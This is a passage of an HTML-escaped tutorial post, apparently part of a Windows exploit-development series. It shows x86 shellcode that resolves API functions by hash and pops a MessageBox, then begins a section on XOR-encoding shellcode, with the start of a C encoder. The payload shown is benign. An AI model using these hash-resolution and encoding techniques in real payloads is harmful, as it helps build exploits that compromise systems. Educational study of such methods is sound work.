table&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x20&lt;/span&gt;&lt;span&gt;]      &lt;/span&gt;&lt;span&gt;;ebx = relative offset of names&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;;ebx = absolute addr of names table&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;;edi will count through the functions&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;next_function_loop:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;inc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;;inc function counter&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;esi&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt; * &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;]   &lt;/span&gt;&lt;span&gt;;esi = relative offset of current function name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;esi&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;;esi = absolute addr of current function name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cdq&lt;/span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;;edx will hold hash (we know eax is small)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;hash_loop:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;movsx&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;byte&lt;/span&gt;&lt;span&gt; ptr[&lt;/span&gt;&lt;span&gt;esi&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cmp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;al&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ah&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;jz&lt;/span&gt;&lt;span&gt; compare_hash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ror&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;inc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;esi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;jmp&lt;/span&gt;&lt;span&gt; hash_loop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;compare_hash:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cmp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edx&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;esp&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x1c&lt;/span&gt;&lt;span&gt;]      &lt;/span&gt;&lt;span&gt;;compare to the requested hash(saved on stack from pushad)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;jnz&lt;/span&gt;&lt;span&gt; next_function_loop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x24&lt;/span&gt;&lt;span&gt;]      &lt;/span&gt;&lt;span&gt;;ebx = relative offset of ordinals table&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;;ebx = absolute addr of ordinals table&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;di&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; * &lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt;]    &lt;/span&gt;&lt;span&gt;;di = ordinal number of matched function&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x1c&lt;/span&gt;&lt;span&gt;]      &lt;/span&gt;&lt;span&gt;;ebx = relative offset of address table&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;;ebx = absolute addr of address table&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt; * &lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt;]   &lt;/span&gt;&lt;span&gt;;add to ebp(base addr of module) the relative offset of matched function&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;80&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xchg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;;move func addr into eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;81&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;;edi is last onto stack in pushad&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;stosd&lt;/span&gt;&lt;span&gt;                      &lt;/span&gt;&lt;span&gt;;write function addr to [edi] and increment edi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;popad&lt;/span&gt;&lt;span&gt;                      &lt;/span&gt;&lt;span&gt;;restore registers and loop until we reach end of last hash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cmp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x1e380a6a&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;86&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;jne&lt;/span&gt;&lt;span&gt; find_lib_functions&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;87&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;88&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;function_call:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;89&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;90&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;                   &lt;/span&gt;&lt;span&gt;;cut string&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;91&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x74736577&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;92&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x6c696166&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;;push failwest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;esp&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;;load address of failwest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;94&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;95&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;96&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;97&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;98&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;call&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;0x4&lt;/span&gt;&lt;span&gt;]           &lt;/span&gt;&lt;span&gt;;call MessageBoxA&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;99&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;100&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;call&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;0x8&lt;/span&gt;&lt;span&gt;]           &lt;/span&gt;&lt;span&gt;;call ExitProcess&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;101&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;102&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;103&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;;flag&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;104&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;105&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;106&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;107&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;108&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;109&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The first time I copied this assembly I got three spots wrong (&lt;code&gt;[ebx + 0x1c]&lt;/code&gt;, &lt;code&gt;[ebp + edi * 4]&lt;/code&gt; and &lt;code&gt;mov ebx, ebp&lt;/code&gt;). The machine code used in the later posts was always right, so this time I disassembled the machine code and fixed the listing to match.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Encoding shellcode&lt;a href=&quot;#encoding-shellcode&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Shellcode can’t contain &lt;code&gt;0x00&lt;/code&gt;, and sometimes it has to dodge other bad characters too. The simplest fix is to encode it and put a tiny decoder in front.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;XOR encoding&lt;a href=&quot;#xor-encoding&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Things to watch&lt;a href=&quot;#things-to-watch&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;The key byte must not equal any byte already in the shellcode, or you get a 0&lt;/li&gt;
&lt;li&gt;You can encode different regions with different key bytes, at the cost of more complexity&lt;/li&gt;
&lt;li&gt;You can run several rounds of encoding over the shellcode&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;The encoder (ExpStd0401)&lt;a href=&quot;#the-encoder-expstd0401&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encoder&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;char*&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;unsigned&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;key&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;display_flag&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;FILE&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fp&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;unsigned&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;output&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;strlen&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;output&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;unsigned&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;char*&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;malloc&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    